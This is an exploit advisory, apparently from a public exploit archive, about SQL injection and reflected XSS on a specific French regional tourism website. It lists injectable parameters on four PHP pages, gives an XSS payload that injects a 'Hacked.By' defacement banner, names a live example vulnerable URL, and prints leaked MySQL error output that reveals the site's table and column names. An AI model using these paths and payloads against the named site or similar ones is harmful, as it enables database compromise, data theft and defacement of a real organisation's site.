Petites Cites Caractere des Pays de la Loire XSS SQL Inj

###################################################################

# Exploit Title : France Petites Cites Caractere des Pays de la Loire XSS SQL Injection
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 11/10/2019
# Vendor Homepage : patrimoine.paysdelaloire.fr
fr-fr.facebook.com/petitescitesdecaractere.paysdelaloire/
Information : fr.wikipedia.org/wiki/Petites_Cit%C3%A9s_de_caract%C3%A8re_de_France
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Vulnerability Type : CWE-89 [ Improper Neutralization of
Special Elements used in an SQL Command ('SQL Injection') ]
CWE-79 [ Improper Neutralization of Input During
Web Page Generation ('Cross-site Scripting') ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos

###################################################################

# Impact :
***********
France Petites Cites Caractere des Pays de la Loire is prone to an SQL-injection
vulnerability because it fails to sufficiently sanitize user-supplied data before using
it in an SQL query. Exploiting this issue could allow an attacker to compromise the
application, access or modify data, or exploit latent vulnerabilities in the underlying database.
A remote attacker can send a specially crafted request to the vulnerable application and
execute arbitrary SQL commands in application`s database. Further exploitation of this
vulnerability may result in unauthorized data manipulation.
An attacker can exploit this issue using a browser or with any SQL Injector Tool.

Reflected XSS (or Non-Persistent) :
***************************************
The server reads data directly from the HTTP request and reflects it back in the HTTP response.
Reflected XSS exploits occur when an attacker causes a victim to supply dangerous content
 to a vulnerable web application, which is then reflected back to the victim and executed by the
web browser. The most common mechanism for delivering malicious content is to include
it as a parameter in a URL that is posted publicly or e-mailed directly to the victim.
URLs constructed in this manner constitute the core of many phishing schemes, whereby
an attacker convinces a victim to visit a URL that refers to a vulnerable site. After the site reflects
the attacker's content back to the victim,the content is executed by the victim's browser.

###################################################################

# SQL Injection Exploit :
**********************
/01_pratique.php?commune_id=[SQL Injection]

/01_decouverte.php?commune_id=[SQL Injection]

/02_offres_pagin.php?page=[ID-NUMBER]&ipp=[ID-NUMBER]&offre_commune=[ID-NUMBER]&radio1=[SQL Injection]

/02_agenda_pagin.php?commune_id=&agenda_chx=[ID-NUMBER]&page=[ID-NUMBER]&ipp=[SQL Injection]

# Cross Site Scripting XSS Exploit :
********************************
/01_pratique.php?commune_id=1%27<marquee><font color=lime size=32>Hacked.By.KingSkrupellos</font></marquee>

###################################################################

# Example Vulnerable Sites :
*************************
[+]  pcc-paysdelaloire.fr/02_offres_pagin.php?page=28&ipp=4&offre_commune=13&radio1=1%27

###################################################################

# Example SQL Database Error :
****************************
Erreur n° 1064 :
SELECT *,CASE WHEN PCC_offres_libelle_ville <> nom_cyvel THEN 0
ELSE 1 END AS TRUC FROM PCC_offres,PCC_bo_bornes,PCC_communes,
CK_communes WHERE PCC_bo_bornes.PCC_bo_bornes_id = 13 AND
CK_communes.FRANCE_code_insee = PCC_bo_bornes.FRANCE_code_insee
AND CK_communes.nom_cyvel = PCC_communes.PCC_communes_libelle
AND PCC_communes.FRANCE_code_insee =PCC_offres.FRANCE_code_insee
AND SUBSTR(PCC_offres_theme,1,1) = 1' AND (SELECT COUNT(*) FROM
PCC_offres_black_list WHERE PCC_bl_id_offre = PCC_offres_id AND
PCC_bl_theme_offre = PCC_offres_theme) = 0 GROUP BY PCC_offres_id
ORDER BY TRUC DESC,PCC_offres_libelle_ville,PCC_offres_theme
DESC,PCC_offres_libelle You have an error in your SQL syntax; check
the manual that corresponds to your MySQL server version for the right
syntax to use near '' AND (SELECT COUNT(*) FROM PCC_offres_
black_list WHERE PCC_bl_id_offre ' at line 14 Erreur n° 1064 :
Erreur n° 1064 :
SELECT CK_communes.*,CK_departements.libelle_depart FROM CK_communes,
CK_departements WHERE CK_communes.depart_id = CK_departements.departement_id
AND CK_communes.FRANCE_code_insee =
AND document_chemin <> '' AND document_fichier <> '' AND type_document_id = 1
ORDER BY document_fichier ASC
You have an error in your SQL syntax; check the manual that corresponds to your
 MySQL server version for the right syntax to use near

###################################################################

# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team

###################################################################